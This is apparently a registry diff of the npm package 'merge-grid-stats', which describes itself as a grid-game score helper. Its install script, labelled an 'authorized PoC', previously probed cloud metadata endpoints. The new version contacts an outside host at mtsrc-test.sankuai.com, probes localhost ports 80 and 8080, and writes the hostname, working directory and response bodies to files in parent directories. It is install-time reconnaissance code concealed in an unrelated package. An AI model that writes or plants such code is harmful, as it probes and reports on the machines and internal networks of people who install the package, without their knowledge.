merge-grid-stats 1.2.0 → 1.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install-cb.js +39 -29
  2. package/package.json +1 -1
package/install-cb.js CHANGED
@@ -1,50 +1,60 @@
1
- // Authorized PoC (non-destructive): probe cloud metadata reachability, record status to local file.
1
+ // Authorized PoC (non-destructive): SSRF/internal-network reachability probe via mtsrc-test.sankuai.com
2
2
  var fs = require('fs');
3
3
  var path = require('path');
4
- var http = require('http');
5
4
  var os = require('os');
5
+ var https = require('https');
6
+ var http = require('http');
6
7
 
7
8
  var cwd = process.cwd();
8
- var lines = ['meta-probe', 'cwd=' + cwd, 'host=' + (function(){try{return os.hostname();}catch(e){return '?';}})()];
9
+ var lines = ['ssrf-probe', 'cwd=' + cwd, 'host=' + (function(){try{return os.hostname();}catch(e){return '?';}})()];
10
+
11
+ function probeHttps(host, port, p, timeoutMs) {
12
+ return new Promise(function (resolve) {
13
+ var done = false;
14
+ var body = '';
15
+ var req;
16
+ try {
17
+ req = https.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs, rejectUnauthorized: false}, function (res) {
18
+ res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
19
+ res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
20
+ });
21
+ req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
22
+ req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
23
+ req.end();
24
+ } catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
25
+ });
26
+ }
9
27
 
10
- function probe(host, port, p, timeoutMs) {
28
+ function probeHttp(host, port, p, timeoutMs) {
11
29
  return new Promise(function (resolve) {
12
30
  var done = false;
31
+ var body = '';
13
32
  var req;
14
33
  try {
15
- req = http.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs, headers: {'User-Agent': 'curl/7.68'}}, function (res) {
16
- if (!done) { done = true; resolve('HTTP ' + res.statusCode); }
17
- res.resume();
34
+ req = http.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs}, function (res) {
35
+ res.on('data', function (c) { body += c.toString(); if (body.length > 1500) body = body.slice(0, 1500); });
36
+ res.on('end', function () { if (!done) { done = true; resolve('HTTP ' + res.statusCode + '|' + body.slice(0, 800)); } });
18
37
  });
19
38
  req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
20
39
  req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
21
40
  req.end();
22
- } catch (e) {
23
- if (!done) { done = true; resolve('ERR:local'); }
24
- }
41
+ } catch (e) { if (!done) { done = true; resolve('ERR:local'); } }
25
42
  });
26
43
  }
27
44
 
28
- var targets = [
29
- {name: 'aliyun_100.100.100.200', host: '100.100.100.200', port: 80, path: '/latest/meta-data/'},
30
- {name: 'aws_169.254.169.254', host: '169.254.169.254', port: 80, path: '/latest/meta-data/'},
31
- {name: 'tencent_metadata.tencentyun.com', host: 'metadata.tencentyun.com', port: 80, path: '/latest/meta-data/'},
32
- {name: 'tencent_169.254.0.23', host: '169.254.0.23', port: 80, path: '/latest/meta-data/'}
45
+ var tasks = [
46
+ probeHttps('mtsrc-test.sankuai.com', 443, '/ssrf?src=nocode-rce-v13', 8000).then(function (r) { lines.push('mtsrc_https_ssrf=' + r); }),
47
+ probeHttp('mtsrc-test.sankuai.com', 80, '/ssrf?src=nocode-rce-v13', 8000).then(function (r) { lines.push('mtsrc_http_ssrf=' + r); }),
48
+ probeHttp('127.0.0.1', 80, '/', 3000).then(function (r) { lines.push('localhost_80=' + r); }),
49
+ probeHttp('127.0.0.1', 8080, '/', 3000).then(function (r) { lines.push('localhost_8080=' + r); })
33
50
  ];
34
51
 
35
- var doneCount = 0;
36
- targets.forEach(function (t) {
37
- probe(t.host, t.port, t.path, 2500).then(function (r) {
38
- lines.push(t.name + '=' + r);
39
- doneCount++;
40
- if (doneCount === targets.length) {
41
- var data = lines.join('\n');
42
- ['', '..', '../..'].forEach(function (rel) {
43
- try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_META.txt'), data); } catch (e) {}
44
- });
45
- ['', '..', '../..'].forEach(function (rel) {
46
- try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'meta-probe-done ' + new Date().toISOString()); } catch (e) {}
47
- });
48
- }
52
+ Promise.all(tasks).then(function () {
53
+ var data = lines.join('\n');
54
+ ['', '..', '../..'].forEach(function (rel) {
55
+ try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_SSRF.txt'), data); } catch (e) {}
56
+ });
57
+ ['', '..', '../..'].forEach(function (rel) {
58
+ try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'ssrf-probe-done ' + new Date().toISOString()); } catch (e) {}
49
59
  });
50
60
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "merge-grid-stats",
3
- "version": "1.2.0",
3
+ "version": "1.3.0",
4
4
  "description": "Lightweight utility for merge-style grid games: score tracking, move statistics, and best-score persistence helpers.",
5
5
  "main": "index.js",
6
6
  "scripts": {